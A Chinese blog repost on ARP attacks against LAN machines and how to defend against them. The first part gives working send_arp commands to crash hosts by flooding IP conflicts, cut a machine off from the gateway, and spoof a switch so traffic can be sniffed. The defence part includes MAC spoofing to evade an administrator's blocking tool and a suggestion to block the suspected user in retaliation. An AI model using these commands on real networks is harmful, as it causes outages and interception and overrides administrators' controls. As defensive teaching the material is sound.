网上关于ARP的资料已经很多了,就不用我都说了。
用某一位高手的话来说,“我们能做的事情很多,唯一受
限制的是我们的创造力和想象力”。
ARP也是如此。
以下讨论的机子有:

一个要***的机子:10.5.4.178
硬件地址:52:54:4C:98:EE:2F
我的机子: :10.5.3.69
硬件地址:52:54:4C:98:ED:C5
网关: 10.5.0.3
硬件地址:00:90:26:3D:0C:F3
一台交换机另一端口的机子:10.5.3.3
硬件地址:52:54:4C:98:ED:F7
一:   用ARP破WINDOWS的屏保
原理:利用IP冲突的级别比屏保高,当有冲突时,就会
跳出屏保。
关键:     ARP包的数量适当。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 /
10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP导致IP冲突,死机
原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。
注: 对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING
有效的多.对LINUX,明显系统被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 /
10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。
原理:             用ARP应答包去刷新对应着要使之出不去的机子。
[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22 /
10.5.4.178 00:90:26:3D:0C:F3 1
注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP
高速缓存会被被***的机子正确刷新,于是只要...

四:用ARP欺骗交换机,可监听到交换机另一端的机子。
可能需要修改一下send_arp.C , 构造如下的数据包。
ethhdr
srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的 , 它维护一张MAC地址和它的口号表
所以你可以先来个ARP 欺骗, 然后就可以监听了
不过需要指出 , 欺骗以后, 同一个MAC地址就有两个端口号
yuange说,“这样其实就是一个竞争问题。”
好象ARP 以后, 对整个网络会有点影响, 不过我不敢确定
既然是竞争 , 所以监听也只能监听一部分, 不象同一HUB下的监听。
对被监听者会有影响,因为他掉了一部分数据。
当然还有其他一些应用,需要其他技术的配合。

解决方法:
方法一:
网段A(192.168.0.x) 通过------> 网关服务器(192.168.0.1;192.168.10.1) -----〉
和网段B(192.168.10.x)通信。
假设架设 CS服务器在 网段B 192.168.10.88 机器上,
现在 在 网关服务器上架着一个端口转发程序(有很多的自己找)
比如定义 网关服务器的27015端口 转发 指定 192.168.0.10.88 的27015端口
现在在网段A(192.168.0.x) 的玩家只要的 互联网游戏地址处加入 192.168.0.1:27015 就可以找到
192.168.10.88 的CS服务器了
个人认为比较好的 办法是 把网段分开 , 在网关服务器上做端口转发服务
来达到 共享CS服务器等 功能,就可以解决了~
方法二:
捆绑MAC和IP地址 杜绝IP地址盗用现象
到代理服务器端让网络管理员把您上网的静态IP地址与所记录计算机的网卡地址进行捆绑。具体命令是:
  ARP -s 192.168.0.4 00-EO-4C-6C-08-75
  这样,就将您上网的静态IP地址192.168.0.4与网卡地址为00-EO-4C-6C-08-75的计算机绑定在一起了,即使别人盗用您的IP地址192.168.0.4也无法通过代理服务器上网。其中应注意的是此项命令仅在局域网中上网的代理服务器端有用,还要是静态IP地址,像一般的Modem拨号上网是动态IP地址就不起作用。接下来我们对各参数的功能作一些简单的介绍:

ARP -s - d - a
  -s——将相应的IP地址与物理地址的捆绑。
  -d——删除所给出的IP地址与物理地址的捆绑。
  -a——通过查询Arp协议表来显示IP地址和对应物理地址情况。
方法三:
网络执法官这个软件相信大家都听说过了。功能不错,可以禁止局域网任意机器连接网络。这个功能对网管来说的确不错。不过如果这个软件落到那些卑鄙小人的手里---那后果就不堪设想了。轻则把你封了上不了网,重则可以导致整个局域网瘫痪。。

废话不说了,切入正题吧。现在教大家两招轻松防范网络执法官!!
NO 0.1
首先呢,最稳妥的一个办法就是修改机器的MAC地址,只要把MAC地址改为别的,就可以欺骗过网络执法官,从而达到突破封锁的目的。下面是修改MAC地址的方法:

linux环境下:
需要用
#ifconfig eth0 down
先把网卡禁用
再用ifconfig eth0 hw ether 1234567890ab
这样就可以改成功了
要想永久改就这样
在/etc/rc.d/rc.local里加上这三句(也可以在/etc/init.d/network里加下面三行)
ifconfig eth0 down
ifconfig eth0 hw ether 1234567890ab
ifconfig eth0 up
另:
在win2000中改MAC地址的方法:
打开注册表编辑器,找到HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Class/{4D36E972-E325-11CE-BFC1-08002BE10318}子键,在该子键下的0000,0001,0002等分支中查找DriverDesc,在0000子键下天一个字符串项,命名为NetworkAddress,键值设为修改后的MAC地址,要求为连续的12个16进制数,如1234567890AB(注意位数要对!不能是000000000000,不能与别的机器重复)。然后在0000下的NDI/params中加一项名为NetworkAddress的子键,在该子键下添加名为defau

lt的字符串,键值为修改后的MAC地址,与上面的数值相同。在NetworkAddress的主键下继续添加命名为ParamDesc的字符串,其作用是制定NetworkAddress主键的描述,其值可为“MAC
地址”,这样以后打开网络属性,双击相应的网卡会发现有一个高级设置,其下坐在“MAC地址”的选项,在此修改MAC地址就可以了,修改后需重启。

Windows环境:
用dos,8139的可以改,用realtek的pg8139.exe,比如
是8139c网卡,就改写8139c.cfg文件,第一行就是网卡mac,想怎么改就怎么改
NO 0.2
另外一种方法,我没有试,一种设想,有条件的朋友帮忙试一下。
由于网络执法官的原理是通过ARP欺骗发给被***的电脑一个假的网关IP地址对应的MAC,使其找不到网关真正的MAC,那么我们可以自己修改IP->MAC的映射,使网络执法官ARP欺骗失效。具体做法如下:

在还没有被封锁的时候进入CMD执行如下命令
e:/>ping 192.168.9.1 (假设此地址位网关。)
Pinging 192.168.9.1 with 32 bytes of data:
Reply from 192.168.9.1: bytes=32 time<10ms TTL=64
Reply from 192.168.9.1: bytes=32 time<10ms TTL=64
Reply from 192.168.9.1: bytes=32 time<10ms TTL=64
Reply from 192.168.9.1: bytes=32 time<10ms TTL=64
Ping statistics for 192.168.9.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
e:/>arp -a
Interface: 192.168.9.1 on Interface 0x5000003
Internet Address Physical Address Type
192.168.9.1 00-0E-70-32-f1-02 dynamic
(上面的就是网关的MAC)
然后作这样一个批处理文件保存起来。。注意!!!地址要换为你自己的网关的IP和MAC
arp -s 192.168.9.1 00-0E-70-32-f1-02
然后呢,在你被封锁的时候,就执行这个批处理吧。
NO 0.3
如果解除了网络执法官的封锁可不可以查到使用网络执法官的人究竟是谁呢?答案是可以!(感谢zva提供方法)利用arpkiller的sniffer杀手扫描整个局域网IP段查找处在“混杂”(监听)模式下的计算机,应该就是他了!!!(注意,扫描的时候自己也处在混杂模式,自己不能算哦)

之后做什么呢?就不用我说了吧?哈哈,以毒攻毒,用网络执法官把她封了!

防止这种***最好的办法就是MAC地址和IP地址绑定,也可以防止用黑白名单时盗用白名单的IP,对于一些单位的网络控制也有点用处。 不会查MAC地址的初学者用 ipconfig/all 就可以显示了

转载于:https://blog.51cto.com/xiong/13765

局域网***原理与防御(网络执法官类)相关推荐

  1. ARP欺骗 ---网络执法官(转载)

    ARP欺骗 ---网络执法官(转载)<?xml version="1.0" encoding="UTF-8"?> 网络执法官中利用的ARP原理使被攻 ...

  2. 局域网攻击原理与防御

    网上关于ARP的资料已经很多了,就不用我都说了. 用某一位高手的话来说,"我们能做的事情很多,唯一受 限制的是我们的创造力和想象力". ARP也是如此. 以下讨论的机子有: 一个要 ...

  3. OWASP top10漏洞原理及防御(2017版官方)

    文章目录 一.OWASP top 10简介 二.OWASP top 10详解 A1:2017-注入 A2:2017-失效的身份认证 A3:2017-敏感数据泄露 A4:2017-XML外部实体(XXE ...

  4. DDoS的攻击原理与防御方法

    DDoS的攻击原理与防御方法 不可不知DDoS的攻击原理与防御方法 DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distributed Denial of Servic ...

  5. 【计算机网络】局域网原理与技术(局域网概述、以太网技术、高速以太网、虚拟局域网、无线局域网)

    局域网原理与技术 局域网概述 局域网的相关标准(IEEE 802.LLC. MAC) 重点总结 局域网的技术特性(传输媒体.传输技术.网络拓扑.媒体访问控制方法) 传输媒体(有线媒体.无线媒体) 传输 ...

  6. 找不到局域网计算机网络路径,分享解决Win10局域网找不到网络路径的技巧

    Windows10局域网找不到网络路径该怎么办?现在安装使用Windows10系统的人越来越多得了.近日有Win10系统用户在访问局域网中共享电脑的时候,发现提示找不到网络路径,导致无法访问局域网中的 ...

  7. 网络工作室官网HTML源码

    一个简单的企业网络工作室主页官网html网站源码开源无加密 ps文件,设计图纸均已开源,上传即用 源码下载:网络工作室官网HTML源码-小程序文档类资源-CSDN下载

  8. 服务器SYN洪水攻击原理和防御办法-SynAttackProtect保护机制

    服务器SYN洪水攻击原理和防御办法-SynAttackProtect保护机制 一.设置SynAttackProtect键值步骤 二.防止SYN洪水攻击修改项说明 三.特别注意 SYN洪水攻击是利用客户 ...

  9. CSRF攻击原理以及防御方法

    CSRF攻击原理以及防御方法 CSRF概念:CSRF跨站点请求伪造(Cross-Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解: 攻击者盗用了你的身份 ...

  10. 计算机网络——局域网原理基本概念总结

    1.交换式以太网的优点:   (1).交换式以太网可以工作在全双工模式下,实现无冲突的数据通信,提高了传统网络的数据传输速率.   (2).向下兼容共享式以太网,交换机端口能根据另一端主机或集线器等通 ...

最新文章

  1. linux gcc 宏定义 __GNUC__ __GNUC_MINOR__ 版本区分
  2. mysql导出为lua配置表文件_利用lua生成一个导出数据库的bat脚本文件
  3. JSON数据从OSS迁移到MaxCompute最佳实践
  4. UDO compare ABAP代码的实现
  5. Arraylist理解(3)删除元素
  6. 《深入探索C++对象模型》笔记之第一章关于对象
  7. 如何生成一副Poker
  8. 中国数字压力计市场趋势报告、技术动态创新及市场预测
  9. Notefile for Mac(记事本工具)支持12系统
  10. 多媒体计算机教室的使用与管理,多媒体教室计算机管理论文
  11. 工业计算机控制系统的分类,工业自动化系统组成和产品分类介绍
  12. php开发路由器界面,PHP制作简单仿路由器登录界面
  13. seaborn中sns.distplot图例显示方法及无法显示的解决办法
  14. Excel如何如何比较两列同行内容是否一致
  15. 如何在CTEX上对论文进行排版
  16. 杂记——9.eclipse启动Tomcat
  17. python获取评论数据
  18. PostgreSql密码修改及重置
  19. 藏拙的搜索引擎技术是2008年全宇宙最耀眼的搜索引擎技术吗?
  20. 南昌大学《概率论与数理统计》期末考试试卷真题A

热门文章

  1. 数据同步工具:Canal
  2. 51单片机智能循迹小车的通俗易懂讲解
  3. 计算机技术转让增值税,技术转让免征增值税如何开票
  4. c语言如何遍历数组,C语言数组遍历
  5. 基于深度学习的图像超分论文推荐
  6. 99%用户不知道 搜索引擎这样用才有效率
  7. 向日葵远程控制软件——使用方法(含MacOS)
  8. 隐藏win11任务栏时间,开启专注模式
  9. X86_64 CR3控制寄存器详解
  10. 微信小程序-引入iconfont图标